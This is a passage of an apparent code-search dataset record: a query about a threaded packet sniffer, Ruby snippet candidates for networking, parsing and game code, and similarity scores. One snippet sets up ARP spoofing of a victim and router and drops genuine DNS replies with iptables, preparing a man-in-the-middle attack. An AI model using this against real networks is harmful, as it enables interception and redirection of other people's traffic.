full timeout occured?\n elsif chk.last_seen < stream_timeout\n @event_collector.send(:tcp_stream_end) do\n { :syn_seen => !!chk.syn_seen, :timeout => true,\n :src_ip => @protos.str_ip(chk.src.to_i),\n :dst_ip => @protos.str_ip(chk.dst.to_i), :rst => false,\n :dst_port => chk.dport, :src_port => chk.sport, :sync => false,\n :fin => false }\n end\n delete_state(chk)\n end # of if stream_timeout\n end # of syn_timeout\n end\n end\n\n # Is this state brand new? If so, add some TCP-specific information\n state.tcp_init(pkt, @event_collector) unless state.layer_4\n\n # Let's make sure the sequence numbers are what we expect\n ret = validate_sequence_numbers(pkt, state, dir) if state.app_state\n return nil unless ret\n\n # If this is a connection we've seen in its entirety, hand it up to\n # the next stage - the protocol parser (layer 7)\n if state.app_state and pkt.tcp_data and pkt.tcp_data.length > 0\n @protos.parse(pkt.tcp_data, state, dir)\n end\n\n # Is this a FIN or a RST? Should we close out this state?\n if pkt.tcp_fin?\n state.fin_up = true if dir == :up\n state.fin_down = true if dir == :down\n @protos.conclude(state, dir) # Signal the end of this direction\n end\n if pkt.tcp_rst? or (state.fin_up and state.fin_down)\n if not state.ack_seen # Explicit connection rejection\n @event_collector.send(:tcp_connect_failed) do\n { :timeout => false, :src_ip => @protos.str_ip(pkt.dst.to_i),\n :dst_ip => @protos.str_ip(pkt.src.to_i),\n :src_port => pkt.dport, :dst_port => pkt.sport, :rst => true }\n end\n else # regular connection termination\n @event_collector.send(:tcp_stream_end) do\n { :syn_seen => !!state.syn_seen,\n :src_ip => @protos.str_ip(pkt.src.to_i),\n :dst_ip => @protos.str_ip(pkt.dst.to_i), :src_port => pkt.sport,\n :dst_port => pkt.dport, :rst => pkt.tcp_rst?, :sync => false,\n :fin => (state.fin_up and state.fin_down), :timeout => false }\n end\n @protos.conclude(state, :up) # Signal the end of the stream in\n @protos.conclude(state, :down) # both directions.\n end\n delete_state(state)\n end\n\n # Finally, if we have a queued packet to inject, inject it now. This must\n # be done last!\n packet(ret) if ret.class <= ::Pcap::TCPPacket\n true\n end", "def initialize() end", "def init(intface, victimIP)\n\n\t@interface = intface\n\t@victimIP = victimIP\n\t@routerIP = \"192.168.0.100\"\n\t@srcMAC = PacketFu::Utils.whoami?(:iface => @interface)\n\t@victimMAC = PacketFu::Utils.arp(@victimIP, :iface => @interface)\n\t@routerMAC = PacketFu::Utils.arp(@routerIP, :iface => @interface)\n\n\t# Construct the target's packet\n\t@arp_packet_target = PacketFu::ARPPacket.new()\n\t@arp_packet_target.eth_saddr = @srcMAC[:eth_saddr] \t# sender's MAC address\n\t@arp_packet_target.eth_daddr = @victimMAC \t\t# target's MAC address\n\t@arp_packet_target.arp_saddr_mac = @srcMAC[:eth_saddr] \t# sender's MAC address\n\t@arp_packet_target.arp_daddr_mac = @victimMAC \t\t# target's MAC address\n\t@arp_packet_target.arp_saddr_ip = @routerIP \t\t# router's IP\n\t@arp_packet_target.arp_daddr_ip = @victimIP \t\t# target's IP\n\t@arp_packet_target.arp_opcode = 2 \t# arp code 2 == ARP reply\n\t \n\t# Construct the router's packet\n\t@arp_packet_router = PacketFu::ARPPacket.new()\n\t@arp_packet_router.eth_saddr = @srcMAC[:eth_saddr] \t# sender's MAC address\n\t@arp_packet_router.eth_daddr = @routerMAC \t\t# router's MAC address\n\t@arp_packet_router.arp_saddr_mac = @srcMAC[:eth_saddr] \t# sender's MAC address\n\t@arp_packet_router.arp_daddr_mac = @routerMAC \t\t# router's MAC address\n\t@arp_packet_router.arp_saddr_ip = @victimIP \t\t# target's IP\n\t@arp_packet_router.arp_daddr_ip = @routerIP \t\t# router's IP\n\t@arp_packet_router.arp_opcode = 2 \t# arp code 2 == ARP reply\n\n\t# Initialize IP Forwarding\n\t`echo 1 > /proc/sys/net/ipv4/ip_forward`\n\n\t# Append Firewall rules to drop legitimate DNS Responses\n\t`iptables -A FORWARD -p UDP --dport 53 -j DROP`\n\t`iptables -A FORWARD -p TCP --dport 53 -j DROP`\n\nend", "def init\n return if @initialized\n\n # Fill start places with tokens to let the process start\n put_token(start_place)\n start_place[:enabled] = true\n\n # Terminators are used to identify which transitions can be executed\n @terminators = {}\n @net.places.select(&:start?).each do |start_place|\n outgoing_transitions(start_place).each do |transition|\n (@terminators[transition] ||= []) << start_place\n end\n end\n\n # Without weights assigned transition execution path search won't work\n PetriTester::DistanceWeightIndexator.new(@net).reindex\n\n @initialized = true\n execute_automated!\n end", "def initialize _netid=-1\n if _netid != -1\n @this = SQF.objectFromNetId _netid\n else\n @this = SQF.player\n end\n updateUnit\n end", "def initialize\n # we create this particular socket connection just to keep it open\n @soc = dtnsoc\n end", "def initialize_starting_block\n nil\n end", "def initialize(name, controller, socket, package)\n @name = name\n @controller = controller\n @socket = socket\n @package = package\n @running = false\n\n ## my state\n @want_blocks = [].extend(ArrayDelete2) # blocks i want\n @want_blocks_m = Mutex.new\n @choking = true\n @interested = false\n @snubbing = false\n\n ## peer's state\n @peer_want_blocks = [].extend(ArrayDelete2)\n @peer_choking = true # assumption of initial condition\n @peer_interested = false # ditto\n @peer_pieces = Array.new(@package.num_pieces, false) # ditto\n @peer_virgin = true # does the peer have any pieces at all?\n\n ## connection stats\n @dlmeter = RateMeter.new\n @ulmeter = RateMeter.new\n\n @send_q = Queue.new # output thread takes messages from here and\n # puts them on the wire\n end", "def initialize(frames = 1024)\n $frames = Frame.new(1024)\n $bm = Bitmap.new(1024)\n\n init_segment_table\n end", "def post_init\n text_to_socket WILL_MXP \n @state = :state_new_connection\n @mxp = false # MXP defaults to off.\n @mccp = nil\n @player, @nanny, @network_parser = nil, nil, nil\n @input_queue = []\n @bust_prompt = false\n $dsock_list << self\n\n @port, @addr = Socket.unpack_sockaddr_in(get_peername)\n log :info, \"-- #{@addr}:#{@port} connected to CoralMUD!\"\n assign_nanny\n assign_network_parser\n end", "def initialize_abstraction\n self.lsock, self.rsock = Rex::Socket.udp_socket_pair\n end", "def initialize\n @format = configatron.log_format #'%h %l %u %t \\\"%r\\\" %>s %O \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"'\n @counter = 0\n @start = Time.now\n @h_ip_hits = Hash.new(0) #ip => hits\n @h_status_hits = Hash.new(0) #status => hits\n @parser = ApacheLogRegex.new(@format)\n @oh = ActiveSupport::OrderedHash.new\n# @oh_status = ActiveSupport::OrderedHash.new\n@h = {}\n end", "def init(num_of_pixels)\n @@packetdata = String.new\n @@numpixels = num_of_pixels \n i = 0\n p = [0.to_i]\n while i < (@@numpixels * 3)\n @@packetdata[i] = p.pack(\"C\")\n i = i + 1\n end\nend", "def initialize\n @logger = Cabin::Channel.get\n @opcode = 0\n @masking_key = \"\"\n @flag_final_payload = 0\n @flag_mask = 0\n\n transition(:flags_and_opcode, 1)\n @buffer = \"\"\n @buffer.force_encoding(\"BINARY\")\n end", "def initialize(source); end", "def initialize\n @opcode = 0\n @buffer = nil\n @options = {}\n end", "def get_packet\n\t\t\t\tfirst_number = read(1).unpack(\"C\")[0]\n\t\t\t\t# get the 'mask' property\n\t\t\t\tpacket_mask = first_number >> 6\n\t\t\t\t# get the 'frame1' property\n\t\t\t\tframe_number = first_number & 0x3F\n\t\t\t\tif frame_number == 0\n\t\t\t\t\t# if frame1 is equal to 0 then 'frame' is equal to 'frame2'\n\t\t\t\t\tframe_number = read(1).unpack(\"C\")[0]\n\t\t\t\telsif frame_number == 1\n\t\t\t\t\t# if frame1 is equal to 1 then 'frame' is equal to 'frame3'\n\t\t\t\t\tframe_number = read(2).unpack(\"n\")[0]\n\t\t\t\tend\n\t\t\t\t# init a 'frame stream' if it doesn't exist yet\n\t\t\t\tif ! @frames_in.has_key? frame_number\n\t\t\t\t\t@frames_in[frame_number] = Frame.new(0,0,0,0)\n\t\t\t\t\tif packet_mask != 0\n\t\t\t\t\t\traise StandardError, \"packet error\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t# for logging purpose\n\t\t\t\t@bytes_in += 1\n\t\t\t\t\n\t\t\t\t# reads the 'time', 'datasize', 'rtmpdatatype' and 'streamid' properties from the socket\n\t\t\t\t# and put them into the 'frame stream' archive\n\t\t\t\t\n\t\t\t\tcase packet_mask\n\t\t\t\twhen 0\n\t\t\t\t\t@frames_in[frame_number].timer = getMediumInt()\n\t\t\t\t\t@frames_in[frame_number].size = getMediumInt()\n\t\t\t\t\t@frames_in[frame_number].data_type = read(1).unpack(\"C\")[0]\n\t\t\t\t\t@frames_in[frame_number].obj = read(4).unpack(\"N\")[0]\n\t\t\t\t\t@bytes_in += 11\n\t\t\t\twhen 1\n\t\t\t\t\t@frames_in[frame_number].timer = getMediumInt()\n\t\t\t\t\t@frames_in[frame_number].size = getMediumInt()\n\t\t\t\t\t@frames_in[frame_number].data_type = read(1).unpack(\"C\")[0]\n\t\t\t\t\t@bytes_in += 7\n\t\t\t\twhen 2\n\t\t\t\t\t@frames_in[frame_number].timer = getMediumInt()\n\t\t\t\t\t@bytes_in += 3\n\t\t\t\twhen 3\n\t\t\t\t\n\t\t\t\telse\n\t\t\t\t\n\t\t\t\tend\n\t\t\t\t# fix the CONNECTION_PACKET bug when its size is larger than 128 bytes (see caution 4.4.6)\n\t\t\t\tif ! @connected\n\t\t\t\t\tdata_length = @frames_in[frame_number].size\n\t\t\t\t\n\t\t\t\t\tif data_length < 129\n\t\t\t\t\t\tdata = read(data_length)\n\t\t\t\t\telsif data_length == 129\n\t\t\t\t\t\tdata = read(data_length+1)\n\t\t\t\t\t\tdata = data[0..-2]\n\t\t\t\t\telse data_length > 129\n\t\t\t\t\t\tdata = read(data_length+1)\n\t\t\t\t\t\tdata = data[0..127] << data[129..-1]\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tdata = read(@frames_in[frame_number].size)\n\t\t\t\tend\n\t\t\t\t# for logging purpose\n\t\t\t\t@bytes_in += data.length\n\t\t\t\t@msg_in += 1\n\t\t\t\t# return a RTMP_PACKET with all its properties (implicit ones included)\n\t\t\t\treturn RTMPPacket.new(\tframe_number,\n\t\t\t\t\t\t\t@frames_in[frame_number].timer,\n\t\t\t\t\t\t\tdata,\n\t\t\t\t\t\t\t@frames_in[frame_number].data_type,\n\t\t\t\t\t\t\t@frames_in[frame_number].obj)\n\t\tend", "def initialize(eth_type: nil, ipv4_destination: nil, ipv4_source: nil,\n ipv6_source: nil, ipv6_destination: nil, ipv6_flabel: nil,\n ipv6_ext_header: nil, ethernet_destination: nil, ethernet_source: nil,\n in_port: nil, in_physical_port: nil, ip_protocol_num: nil, ip_dscp: nil,\n ip_ecn: nil, tcp_source_port: nil, tcp_destination_port: nil,\n udp_source_port: nil, udp_destination_port: nil, icmpv4_type: nil,\n icmpv4_code: nil, icmpv6_type: nil, icmpv6_code: nil,\n arp_op_code: nil, arp_source_ipv4: nil, arp_target_ipv4: nil,\n arp_source_hardware_address: nil, arp_target_hardware_address: nil,\n vlan_id: nil, vlan_pcp: nil, sctp_destination: nil, sctp_source: nil,\n mpls_label: nil, mpls_tc: nil, mpls_bos: nil, tunnel_id: nil,\n metadata: nil, metadata_mask: nil)\n @eth_type = eth_type\n @ipv4_dst = ipv4_destination\n @ipv4_src = ipv4_source\n @ipv6_dst = ipv6_destination\n @ipv6_src = ipv6_source\n @ipv6_flabel = ipv6_flabel\n @ipv6_ext_hdr = ipv6_ext_header\n @ethernet_dst = ethernet_destination\n @ethernet_src = ethernet_source\n @in_port = in_port\n @in_phy_port = in_physical_port\n @ip_proto = ip_protocol_num\n @ip_dscp = ip_dscp\n @ip_ecn = ip_ecn\n @tcp_src_port = tcp_source_port\n @tcp_dst_port = tcp_destination_port\n @udp_dst_port = udp_destination_port\n @udp_src_port = udp_source_port\n @icmpv4_type = icmpv4_type\n @icmpv4_code = icmpv4_code\n @icmpv6_type = icmpv6_type\n @icmpv6_code = icmpv6_code\n @arp_op_code = arp_op_code\n @arp_src_ipv4 = arp_source_ipv4\n @arp_tgt_ipv4 = arp_target_ipv4\n @arp_src_hw_addr = arp_source_hardware_address\n @arp_tgt_hw_addr = arp_target_hardware_address\n @vlan_id = vlan_id\n @vlan_pcp = vlan_pcp\n @sctp_dst = sctp_destination\n @sctp_src = sctp_source\n @mpls_label = mpls_label\n @mpls_tc = mpls_tc\n @mpls_bos = mpls_bos\n @tunnel_id = tunnel_id\n @metdata = metadata\n @metadata_mask = metadata_mask\n end", "def init\n end", "def init\n end", "def init\n end", "def initialize(cards)\n\n\n #while start waiting to east to start\n @state = :start\n #hand for each player\n @hands = {} \n @hands[:south] = cards.slice(0,10).sort!\n @hands[:east] = cards.slice(10,10).sort!\n @hands[:west] = cards.slice(20,10).sort!\n \n \n #cards played on table\n @played = {}\n # number of tricks taken by each player\n @taken = {}\n\n #sets taken and played\n @@PLAYERS.each do |player|\n @played[player] = nil\n @taken[player] = Array.new\n end \n # hole cards \n @hole_cards = cards.slice(30,2) \n @on_move = :east \n end", "def initialize\n reset\n \tend", "def run\n super() \n true_file_name = \"%s_%s_%s.%s\"%[file, platform_setting[:interface][interface], port, EXTENSION]\n #start tcpdump with the file name and trap process id\n command = \"(tcpdump -X -s 0 -i #{platform_setting[:interface][interface]} -w #{true_file_name} port #{port} >/dev/null 2>&1&); ps -elf | grep 'tcpdump' | egrep -v 'sh|grep|rb$'\" \n result = `#{command}`\n sleep(5) #need to wait for a bit before tcpdump is ready\n self.pidlist.push(true_file_name)\n end", "def initialize()\n @remote_host = \"192.168.1.1\"\n @rsa_key = \"~/.ssh/router_rsa\"\n @dns_source = \"http://www.netflixdnscodes.com\"\n end", "def init_phase\n opts = ::Ractor.receive\n @object = opts[:object]\n @logging = opts[:logging]\n @name = opts[:name]\n @method_settings = opts[:method_settings]\n @thread_count = opts[:threads]\n @queue = ::Queue.new\n @mutex = ::Mutex.new\n @current_calls = {}\n maybe_log(\"Spawning #{@thread_count} threads\")\n (1..@thread_count).map do |worker_num|\n ::Thread.new { worker_thread(worker_num) }\n end\n maybe_log(\"Server initialized\")\n end", "def Init(conditions)\r\n\t\t@start_state = conditions\r\n\tend", "def initialize(server)\n @server = server\n @recordings = []\n end", "def init\n\n end", "def initialize(states, start)\n @states = states\n @start = start\n end", "def start_simulation(tracing_vars)\n set_id\n read_json\n connection_store[:is_simulation_done] = false\n\n @packet = PacketHandler.new(connection_store[:id],lambda { |a, b| send_message(a,b)})\n initialize_timeout(Thread.current)\n @vm = initialize_vm\n\n communicate_with_vm(tracing_vars)\nend", "def initialize(socket)\n super\n @transaction_status = read_byte\n end", "def initialize ( )\n @buffer = [] # буфер для символов входного потока\n @states = [] # массив с состояниями парсера, <ParserState> объекты\n @chain = [] # цепочка работающих состояний\n #\n # Машина состояний для метода classify.\n #\n @matchstate = {\n\t:state => 0,\n\t:index => 0\n }\n @parserstate = ''\n end", "def initialize\n\t\t\n\tend", "def init!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 31 )\n\n\n\n type = INIT\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 206:7: 'init'\n match( \"init\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 31 )\n\n\n end", "def initialize(tps, frameskip = 2)\n @ref = Time.now.to_f\n @step = 1.0/tps\n \n @ticks = 0\n @ref_ticks = 0\n \n @frameskip = frameskip\n @skipped = 0\n end", "def initialize_keys\n super\n\n # Load the 12 byte header taking care to ensure that all bytes are read.\n bytes_needed = 12\n while bytes_needed > 0 do\n begin\n bytes_read = unbuffered_read(bytes_needed)\n bytes_needed -= bytes_read.size\n rescue Errno::EAGAIN, Errno::EINTR\n sleep(1)\n end\n end\n\n # Reset the total bytes read in order to disregard the header.\n @total_bytes_out = 0\n\n nil\n end", "def initialize_servers\n @protocols.each do |protocol, _|\n server = @servers[protocol.protocol]\n block = server[:start]\n server[:server].start(server[:port], @routes[protocol.protocol], views: @views, channel: @channels[protocol.protocol], debug: @debug, &block)\n end\n end", "def initialize:\n\t\t@slots = []", "def start(info); end", "def start\r\n @thread = Thread.new {\r\n @server.connect\r\n @proto.fire_pseudo(:connect, {address: @server.address?, port: @server.port?})\r\n protos = @server.read\r\n while protos != nil && @halt != true\r\n protos.each do |proto|\r\n Log::write \"<= \" + proto\r\n @proto.parse_proto(proto)\r\n end\r\n protos = @server.read\r\n end\r\n }\r\n end", "def initialize options\n @count = options[:count] || Float::INFINITY\n @drb_config = DRb::DRbServer.make_config\n @incoming_packets = Queue.new\n @incomplete_streams = {}\n @incomplete_timestamps = {}\n @loader = DRbDump::Loader.new @drb_config\n @quiet = options[:quiet]\n @resolver = Resolv if options[:resolve_names]\n @run_as_directory = options[:run_as_directory]\n @run_as_user = options[:run_as_user]\n\n initialize_devices options[:devices]\n\n @capps = []\n @drb_streams = {}\n @running = false\n @statistics = DRbDump::Statistics.new\n end", "def initialize\n\n\n\n end", "def sniff_queue\n queue = Queue.new\n \n # Spin up a thread that just queues packets (a buffer, if you will)\n qthread = Thread.new do\n @sniffer.each_packet do |pkt|\n queue.push pkt unless queue.length > 1000\n end\n end # of qthread\n \n # Now read each of those packets\n loop do\n pkt = queue.pop\n @event_collector.pkt_count += 1\n @event_collector.bytes += pkt.caplen\n case pkt\n when @tcp_traffic\n @tcp_handler.packet(pkt) if @tcp_handler\n when @udp_traffic\n @udp_handler.packet(pkt) if @udp_handler and pkt.udp? # INVESTIGATE!\n end\n end # of each_packet\n end", "def init(start_state)\n include InstanceMethods\n @start_state = start_state\n @symbols = []\n @states = []\n @transitions = {}\n @states << start_state\n end", "def initialize\n super\n @startup_times = []\n end", "def post_init\n @queue, @input, @timers = [], [], {}\n connect { start_session }\n send_next_command\n end" ]
[ "0.67021465", "0.6464243", "0.6373231", "0.6279811", "0.6204968", "0.6192718", "0.6171683", "0.6126819", "0.6118835", "0.6113423", "0.6091746", "0.6075763", "0.6041054", "0.59792006", "0.59775686", "0.5962371", "0.5936485", "0.5920503", "0.5900025", "0.58803695", "0.5871472", "0.58164346", "0.57849026", "0.5763633", "0.5723555", "0.5710634", "0.56854385", "0.5662459", "0.5626246", "0.5605963", "0.5590568", "0.55854654", "0.5582962", "0.5573303", "0.5572045", "0.55684865", "0.55629987", "0.55485463", "0.55485463", "0.55485463", "0.55485463", "0.5542454", "0.5531608", "0.5529572", "0.55284375", "0.552641", "0.55142874", "0.55105674", "0.5493462", "0.5488334", "0.5482787", "0.5474737", "0.5458297", "0.5457868", "0.54490936", "0.54464513", "0.5438913", "0.54274774", "0.54266113", "0.54254603", "0.54196197", "0.5409257", "0.54088247", "0.5402766", "0.53986406", "0.53831196", "0.5380938", "0.5378119", "0.53775024", "0.53767365", "0.53765136", "0.5375421", "0.53641826", "0.53641826", "0.53641826", "0.5362643", "0.5358554", "0.53559446", "0.53556794", "0.53541327", "0.5348475", "0.5346241", "0.5346172", "0.53442925", "0.53406966", "0.53401107", "0.5339068", "0.5339063", "0.5334481", "0.5332226", "0.5329703", "0.5329673", "0.5329651", "0.5327039", "0.5325261", "0.5321072", "0.53193855", "0.531491", "0.5314093", "0.53118193", "0.5304161" ]
0.0
-1
of sniff Version of the sniffer that uses multiple threads, may be better for bursty but otherwise low traffic environments.
def sniff_queue queue = Queue.new # Spin up a thread that just queues packets (a buffer, if you will) qthread = Thread.new do @sniffer.each_packet do |pkt| queue.push pkt unless queue.length > 1000 end end # of qthread # Now read each of those packets loop do pkt = queue.pop @event_collector.pkt_count += 1 @event_collector.bytes += pkt.caplen case pkt when @tcp_traffic @tcp_handler.packet(pkt) if @tcp_handler when @udp_traffic @udp_handler.packet(pkt) if @udp_handler and pkt.udp? # INVESTIGATE! end end # of each_packet end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def multithreaded\n get_value :multithreaded\n end", "def thread; end", "def thread; end", "def thread; end", "def do_sendtrain(train)\n # send the train\n $threadLock.synchronize {\n\twhile $activeThreads >= $maxThreads\n\t\t$threadCond.wait($threadLock)\t# wait until there is one less thread\n\tend\n\t$activeThreads+=1\n\t$stderr.puts \"activeThreads=#{$activeThreads} GRAB\" if ThreadDebug\n }\n Thread.new {\n\t outputbuffer=[]\n \tbegin\n \t sleepTime=rand(0)*$timeoutTime\n\t $stderr.puts \"Sleeping #{sleepTime} s\" if ThreadDebug\n\t sleep(sleepTime)\t# sleep some random interval amount of time to not run over other threads\n\t responses = Scriptroute::send_train( train )\n\t responses.each { |response|\n\t next unless response.probe\t# this won't be set if the pcap buf overflowed\n\t dst = response.probe.packet.ip_dst\n\t if response.response\n\t r = response.response.packet\n\t icmp_src = r.ip_src\n\t icmp_id = r.ip_id.to_s\n\n\t high = (r.ip_id >> 8 ) & 0xFF\n\t low = r.ip_id & 0xFF\n\t swapped_id = (low << 8) + high\n\n\t resp_type = r.class.to_s.sub(/^Scriptroute::/,'')\n\t resp_type += \"_t=#{r.icmp_type}_c=#{r.icmp_code}\" if resp_type == \"Icmp\"\n\t arrive = response.response.time.to_f.to_s\n\t else\n\t icmp_src = '-'\n\t icmp_id = '-'\n\t resp_type= '-'\n\t arrive = '-'\n\t end\n\t # dst icmpsrc arrive id id(hostorder) type\n\t outputbuffer << sprintf(\"%16s %16s %20s %7s %7s %12s\\n\" % [\n\t\t dst,\n\t\t icmp_src,\n\t\t arrive,\n\t\t icmp_id,\n\t\t swapped_id,\n\t\t resp_type])\n\t }\n\t ensure\n\t $threadLock.synchronize {\n\t\toutputbuffer.each { |l|\t\t# flush output while we have the lock\n\t\t\tputs l\t\t\t# actually print the data\n\t\t}\n\t\t$activeThreads-=1\n\t\t$stderr.puts \"activeThreads=#{$activeThreads} RELEASE\" if ThreadDebug\n\t\traise \"Too many Thread deactivates\" unless $activeThreads>=0\n\t\t$threadCond.signal \t# tell another thread it's their turn to go\n\t }\n\t end\n }\n\nend", "def sniff(queue = false)\n # sniff_queue if queue # potential optimization, turned off for now\n \n # Now read each packet and process it right away\n @sniffer.each_packet do |pkt|\n @event_collector.pkt_count += 1\n @event_collector.bytes += pkt.caplen\n @event_collector.last_pkt = pkt\n case pkt\n when @tcp_traffic\n @tcp_handler.packet(pkt) if @tcp_handler\n when @udp_traffic\n @udp_handler.packet(pkt) if @udp_handler and pkt.udp? # INVESTIGATE!\n end\n end # of each_packet \n end", "def do_not_thread; true; end", "def do_not_thread; true; end", "def do_not_thread; true; end", "def allowing_other_threads; end", "def sniff!\n update_urls(check_sniff)\n end", "def discover_range(range, threads=25)\n\n # Other Potential options\n # - auxiliary/scanner/smb/pipe_auditor\n # - auxiliary/scanner/smb/pipe_dcerpc_auditor\n # - auxiliary/scanner/smb/smb_enumshares\n # - auxiliary/scanner/smb/smb_enumusers\n modules_and_options = [\n {:module_name => \"auxiliary/scanner/http/http_version\", :module_options => {}},\n {:module_name => \"auxiliary/scanner/http/cert\", :module_options => {}},\n {:module_name => \"auxiliary/scanner/ftp/ftp_version\", :module_options => {}},\n {:module_name => \"auxiliary/scanner/h323/h323_version\", :module_options => {}},\n {:module_name => \"auxiliary/scanner/imap/imap_version\", :module_options => {}},\n {:module_name => \"auxiliary/scanner/portscan/syn\", :module_options => {}},\n {:module_name => \"auxiliary/scanner/portscan/tcp\", :module_options => {}},\n #{:module_name => \"auxiliary/scanner/lotus/lotus_domino_version\", :module_options => {}},\n {:module_name => \"auxiliary/scanner/mysql/mysql_version\", :module_options => {}},\n {:module_name => \"auxiliary/scanner/netbios/nbname\", :module_options => {}},\n {:module_name => \"auxiliary/scanner/netbios/nbname_probe\"},\n #{:module_name => \"auxiliary/scanner/pcanywhere/pcanywhere_tcp\", :module_options => {}},\n #{:module_name => \"auxiliary/scanner/pcanywhere/pcanywhere_udp\", :module_options => {}},\n {:module_name => \"auxiliary/scanner/pop3/pop3_version\", :module_options => {}},\n {:module_name => \"auxiliary/scanner/postgres/postgres_version\", :module_options => {}},\n {:module_name => \"auxiliary/scanner/smb/smb_version\", :module_options => {}},\n {:module_name => \"auxiliary/scanner/snmp/snmp_enum\", :module_options => {}},\n {:module_name => \"auxiliary/scanner/ssh/ssh_version\", :module_options => {}},\n {:module_name => \"auxiliary/scanner/telnet/telnet_version\", :module_options => {}},\n #{:module_name => \"auxiliary/scanner/vmware/vmauthd_version\", :module_options => {}}\n ]\n\n module_list.each do |mod|\n # Merge in default options\n mod[:options] = { \n \"RHOSTS\" => \"#{range}\", \n \"THREADS\" => \"#{threads}\"\n }\n\n # Module specific options\n mod[:options].merge!(mod[:module_options])\n\n # execute the module\n execute_module(mod)\n end\n end", "def check_sniff\n _, url_meta, resp = perform_request(:get, @sniffing_path)\n @metric.increment(:sniff_requests)\n parsed = LogStash::Json.load(resp.body)\n nodes = parsed['nodes']\n if !nodes || nodes.empty?\n @logger.warn(\"Sniff returned no nodes! Will not update hosts.\")\n return nil\n else\n case major_version(url_meta[:version])\n when 5, 6\n sniff_5x_and_above(nodes)\n when 2, 1\n sniff_2x_1x(nodes)\n else\n @logger.warn(\"Could not determine version for nodes in ES cluster!\")\n return nil\n end\n end\n end", "def sniff()\n\tstream = PacketFu::Capture.new(:start => true, :iface => 'eth0', :promisc => true)\n\n\tnmap_string = /\\x4E\\x6D\\x61\\x70/\n\tnikto_string = /\\x4E\\x69\\x6B\\x74\\x6F/\n\n\tstream.stream.each do |raw_pkt|\n\t\tpkt = PacketFu::Packet.parse(raw_pkt)\n\t\tif pkt.is_ip? \n\t\t\tif pkt.is_tcp?\n\t\t\t\tdetectTCPIncident(pkt)\n\t\t\tend\n\n\t\t\tif nmap_string.match(pkt.payload)\n\t\t\t\talert(\"Nmap scan\", pkt.ip_saddr(), \"TCP\", pkt.payload)\n\t\t\tend\n\t\t\t\n\t\t\tif nikto_string.match(pkt.payload)\n\t\t\t\talert(\"Nikto scan\", pkt.ip_saddr(), \"TCP\", pkt.payload)\n\t\t\tend\n\n\t\t\tfindCreditCard(pkt)\n\t\tend\n\tend\nend", "def start_threads\n \n # generate computers cache model shortcuts\n Main.active.clusters.each do |computers|\n computers.each { |c| Main.active.computers_cache[c.id]=c }\n end\n\n # load user names from yppassed\n # TODO: move to user model class?\n #IO.popen(\"ypcat passwd\").each { |line|\n # Main.active.user_list.add(line.split(\":\").values_at(0, 4)) \n #}\n\n refresh = Thread.new {\n session[:old_timestamp] = 0\n\n while true\n puts \"refresh start\"\n # update prectab data\n if Prectab.changed?\n Main.active.computers_cache.each_value {|computer| computer.prectab = [nil,nil]; computer.color_changed; computer.user_changed }\n Debug.log.debug \"working prectab\"\n scatter_prectab(Prectab.now,0)\n scatter_prectab(Prectab.soon,1)\n end\n\n # update computers_cache\n comps = Computer.updated_after session[:old_timestamp]\n comps.each do |computer| \n cache_computer = Main.active.computers_cache[computer.id]\n if cache_computer\n cache_computer.User = computer.user \n cache_computer.Color = computer.color\n end\n end\n session[:old_timestamp] = Time.now.strftime(\"%j%H%M%S\")\n\n # update printers\n @printers.each { |p| p.update_job_count; p.update_accepts; p.update_snmp }\n puts \"refresh end\"\n sleep 20\n end \n }\n \n # read data from scanner and dispatch\n require 'socket'\n begin\n socket = TCPSocket.new('localhost', 7887)\n rescue Errno::ECONNREFUSED\n Main.active.status = [\"Scanner\", t('scanner.no_connection'), \"important\",-1]\n else\n scanner = Thread.new {\n Debug.log.debug \"starting scanner thread ...\"\n while true\n scan = socket.recvfrom(25)\n type, Main.active.scan_string = check_scanner_string(scan[0])\n Debug.log.debug \"Scanner says #{scan} #{type}, #{Main.active.scan_string}\"\n \n case type\n when :card\n accounts = User.find_accounts_by_barcode(Main.active.scan_string)\n fill_accounts(accounts)\n when :matrikel\n accounts = Account.find_accounts_by_barcode(Main.active.scan_string)\n fill_accounts(accounts)\n when :key\n pc = Main.active.computers_cache[Main.active.scan_string]\n puts pc\n unless Main.active.account_list.empty?\n table_register(pc)\n else\n case pc.user\n when \"\"\n Main.active.status = [\"#{pc.id}\", \"ist schon frei\", \"key\",0] \n else\n Main.active.status = [\"#{pc.user}\", \"von <b>#{pc.id}</b> abgemeldet\", \"trashcan_full\",1]\n end\n key_clear(pc)\n end\n else\n Debug.log.debug \"#{type}, #{Main.active.scan_string}\"\n end\n \n sleep 1 # wait some time for next scan atempt\n end\n }\n end\n end", "def _test_threads\n m = Mutex.new \n threads = []\n @custom_number_of_users.times do\n threads << Thread.new do\n m.synchronize {threaded_mage_checkout}\n threaded_mage_checkout\n end\n end\n threads.each {|x| x.join}\n end", "def alive?; @locker.synchronize { !! @threads }; end", "def run\n done = false\n times = []\n threads = ThreadGroup.new\n count_m = Mutex.new\n\n @threads.times do\n Thread.start do\n threads.add Thread.current\n until @num_requests <= 0 do\n count_m.synchronize do\n if @num_requests % @tenths == 0 then\n print @num_requests\n elsif @num_requests % @hundredths == 0 then\n print '.'\n end\n @num_requests -= 1\n end\n $stdout.flush\n times << time_request\n end\n end\n Thread.pass\n end\n\n threads.enclose\n\n threads.list.each { |t| t.join }\n puts\n\n return times\n end", "def in_new_thread; end", "def tracer_thread_runner\n while running?\n # Get a random user assigned to this server.\n user = User.where(:enable_tracer => true, :archived => false).select(:id, :connected_at).all.select do |user|\n server_rhash.hash(user.id) == server_tag && user.connected_at\n end.shuffle.first\n\n # If we found a user, schedule a tracer email.\n if user\n user.reload\n ScheduleTracerEmails.new(user, self.num_tracers).delay.run\n end\n\n light_sleep self.tracer_interval\n end\n rescue Exception => e\n Log.exception(e)\n raise e\n ensure\n Log.info(\"Stopping tracer thread.\")\n end", "def thread_id\n check_connection\n @protocol.thread_id\n end", "def main\n puts \"Running Netservate #{@version}...\"\n\n # Main loop\n while true do\n begin\n\n # Begin test\n puts \"\\nBeginning network test...\"\n test_time = Time.now.strftime('%c')\n test = Speedtest::Test.new()\n net_results = nil\n\n # Test\n 